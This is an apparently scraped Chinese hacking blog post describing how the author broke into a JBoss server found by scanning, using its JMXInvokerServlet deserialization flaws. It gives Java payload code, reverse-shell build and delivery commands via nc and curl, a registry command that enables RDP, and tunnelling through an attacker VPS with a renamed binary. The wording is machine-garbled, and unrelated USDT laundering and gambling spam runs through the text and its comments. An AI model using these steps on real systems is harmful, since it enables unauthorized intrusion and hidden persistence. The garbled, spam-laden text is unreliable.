USDT第三方支付平台

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

- 0x00 前言

今天扫到了一个jboss的站十分新鲜,存在jmx-console和JMXInvokerServlet破绽

然则通过war远程部署的方式接见jsp小马的时刻页面报错500,推测应该是阻止了web流量的缘故原由,那么只能通过JMXInvokerServlet拿他的shell了

- 0x01 Jboss反序列化的原理

JMXInvokerServlet 反序列化破绽和Jboss 的 HttpInvoker 组件中的ReadOnlyAccessFilter 过滤器的破绽可以是统一个操作思绪就能举行“一打二”

Jboss反序列化的破绽编号为:CVE-2015-7501和CVE-2017-12149

CVE-2015-7501破绽:JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的工具,然后我们可以行使 Apache Commons Collections 中的 Gadget 执行随便代码。

CVE-2017-12149破绽:该破绽为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中没有举行任何平安检查的情形下实验未来自客户端的数据流举行反序列化,从而导致了破绽。

不外我也不是专门走java蹊径的,以是java栈也不在我的手艺局限之内,这里只好搜集种种资料试图对两个破绽的原理举行领会

这里先说两个看法:

Java序列化就是指把Java工具转换为字节序列的历程,在转达和保留工具时.保证工具的完整性和可转达性。工具转换为有序字节省,以便在网络上传输或者保留在内陆文件中。

Java反序列化就是指把字节序列恢复为Java工具的历程,凭证字节省中保留的工具状态及形貌信息,通过反序列化重修工具。

用代码看就是:

序列化:

FileOutputStream fos = new FileOutputStream(file); 

ObjectOutputStream oos = new ObjectOutputStream(fos); 

oos.writeObject(st);

反序列化:

ileInputStream fis = new FileInputStream(file); 

ObjectInputStream ois = new ObjectInputStream(fis); 

Student st1 = (Student) ois.readObject();

CVE-2015-7501,这是经典的JBoss反序列化破绽,破绽发生的缘故原由是JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的工具

而CVE-2017-12149的破绽泛起在HttpInvoker组件中的ReadOnlyAccessFilter过滤器中,源码在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下:

可以看出它从http中获取数据,通过挪用readobject()方式对数据流举行反序列操作,然则没有举行检查或者过滤

这就造成了JBoss中invoker/JMXInvokerServlet路径对外开放,而且JBoss的jmx组件支持Java反序列化

- 0x02 破绽行使

注重EXP只能行使服务器本机的资源,不能加载远程类

通过对破绽成因剖析可以得知,我们只能通过链式挪用来执行java语句。换句话说,我们所想执行的语句必须可以写到一行内里,而且还不能带分号:

( 实在这里很好突破,我们只要把我们想要执行的随便代码(无论有多长)在内陆编译成class,然后把class字节码上传到服务器就可以了。然后问题又来了,怎么上传呢,上传到什么路径下面呢?上传可以通过FileOutputStream这个类来实现,上传路径就更简朴了,直接给FileOutputStream传个“.”已往,上传到程序运行的当前目录下面,一句话代码:

new FileOutputStream(./payload.class).write(new byte[]{0xXX,0xXX……})

上传的问题解决了,下面执行也就好办了,一句代码:

java.net.URLClassLoader. getConstructor(java.net.URL[].class). newInstance(new java.net.URL[] {new java.net.URL("file:./")}). loadClass(payload). newInstance(cmd.exe /c whoami)

这样就可以只行使服务器本机资源,不需要联网,可以上传随便文件至随便目录。

,

Usdt第三方支付平台

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

获取下令回显内容:

通过对JBOSS中invoker/JMXInvokerServlet的返回效果举行剖析,得知返回的是一个 MarshalledValue工具,该工具封装了invoker/JMXInvokerServlet的返回值,若是执行历程中有异常抛出,一个InvocationException工具就会封装在MarshalledValue工具内里。

到这里思绪就很明确了,java 的异常有个组织函数是可以传String参数的,我们可以把第一步谁人class文件中下令执行的效果作为参数组织一个Exception,然后在payload.class最后throw这个Exception,这样这个带有回显内容的Exception就会封装在MarshalledValue工具内里通过http协议返回,我们只要把返回的MarshalledValue工具解包,就可以获取回显的内容了。

payload.java的源代码如下:

import java.io.BufferedReader;
import java.io.InputStreamReader;
public class RunCheckConfig {
    public RunCheckConfig(String  args) throws Exception
    {
        Process proc = Runtime.getRuntime().exec(args);
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer  ***  = new StringBuffer();
        String line;
        while ((line = br.readLine()) != null)
        {
             *** .append(line).append("\n");
        }
        String result =  *** .toString();
        Exception e=new Exception(result);
        throw e;
        }
    }

解包程序的源代码:

public static void main(String args[]) throws Exception
   {
        FileInputStream fis = new FileInputStream("d:/response.bin"); 
        byte TempByte[]=new byte[5000*1000];
           int length=fis.read(TempByte);
           int ClassStart=0;
           for (int i=0;i<length;i++)
           {
            if (TempByte[i]==0x0d&&TempByte[i+1]==0x0a&&TempByte[i+2]==0x0d&&TempByte[i+3]==0x0a)
            {
                System.out.println(i);
                ClassStart=i;
                break;
            }
           }
           byte ClassByte[]=new byte[length-ClassStart-4];
           for (int i=0;i<ClassByte.length;i++)
           {
            ClassByte[i]=TempByte[i+ClassStart+4];
           }
           fis.close();
           TempByte=null;
           ByteArrayInputStream ai=new ByteArrayInputStream(ClassByte);
          ObjectInputStream ois = new ObjectInputStream(ai); 
          MarshalledValue st1 = (MarshalledValue) ois.readObject();
          InvocationException o=(InvocationException) st1.get();
          System.out.println(o.getTargetException().getCause().getCause().getCause().getMessage());
}

下面是解包后的截图:

- 0x03 破绽实战

前文提到,可以用exp执行下令回显,师傅们已经帮我们铺好了蹊径,写好了剧本去检测是否有这个破绽存在

这里先用软件扫描出存在JMXInvokerServlet反序列化,这里实在可以用工具直接拿shell上线,然则这个shell是一个交互式shell并不稳固,随时有掉线的可能,以是我这里选择手动行使

这里需要行使反弹流量,以是需要准备一台有公网ip的vps

行使jboss反序列化工具:https://github.com/ianxtianxt/CVE-2015-7501/

把反序列化工具解压到vps,执行如下下令

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java


java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:4444IP是攻击机ip,即公网ip,4444是要监听的端口)

这个时刻在这个目录下天生了一个ReverseShellCommonsCollectionsHashMap.ser文件

这时刻我们在内陆用nc监听一个端口接受反弹shell

nc -lvnp 4444

然后我们再使用一个curl去请求反弹确立毗邻

curl http://被攻击机ip:端口/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

这里再切回nc界面发现shell已经反弹了过来

然后cs上线抓密码

开3389

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

效果毗邻不上,使用reg天生剧本署理也毗邻不上,应该是存在什么规则阻止web流量

vps上传ew作反向署理,使目的性能够接见我的vps,然则我接见不到他

chmod 777 ew_for_linux   //赋予ew读写权限
./ew_for_linux64 -s lcx_listen -l 1111 -e 1234   //将1111吸收到的流量转发到1234端口

把ew_for_windows上传到目的机上,这里我为了隐藏改了一个名字叫sqlserver.exe

shell ew_for_windows.exe -s lcx_slave -d vps-ip -e 1234 -f 目的机内网ip -g 3389

再回到我们的vps发现已经接受到了流量

直接内陆毗邻vps的1111端口

登录乐成

- 0x04 后记

jboss的总体破绽相比weblogic、shiro来说是对照少的,然则在jmx反序列化这一块确实重灾区,虽然剧本能够帮我们直接拿下一个shell,然则由于是交互性的shell,随时都有可能掉线,以是这时刻就需要我们用vps手动去行使这个jmx反序列化的破绽。

Allbet声明:该文看法仅代表作者自己,与www.allbetgame.us无关。转载请注明:usdt交易otc平台(www.payusdt.vip):jboss之JMXInvokerServlet反序列化破绽剖析行使
发布评论

分享到:

深圳出辣招整“zheng”治学区房炒作,恐慌情绪已伸张,30万/平的神话在破灭
3 条回复
  1. 新2手机管理端
    新2手机管理端
    (2021-07-22 00:01:06) 1#

    欧博客户端下载目测这网站,这文会火

    1. 皇冠最新登陆网址(www.22223388.com)
      皇冠最新登陆网址(www.22223388.com)
      (2021-09-16 09:31:25)     

      2月景气灯号亮出代表「热络」的红灯,创下10年来首见,随着商业流动苏醒,传统年后转职旺季征才热度连续递延,凭证1111人力银行资料库统计,3月份有高达58.5万个事情时机,创下近5年新高!为了吸引优异人才,企业主无不卯足全力溺爱员工。我是铁粉,可以提问我

      1. ug环球代理开户(www.ugbet.us)
        ug环球代理开户(www.ugbet.us)
        (2021-10-08 08:58:41)     

        菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。一直更新下去吧。

发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。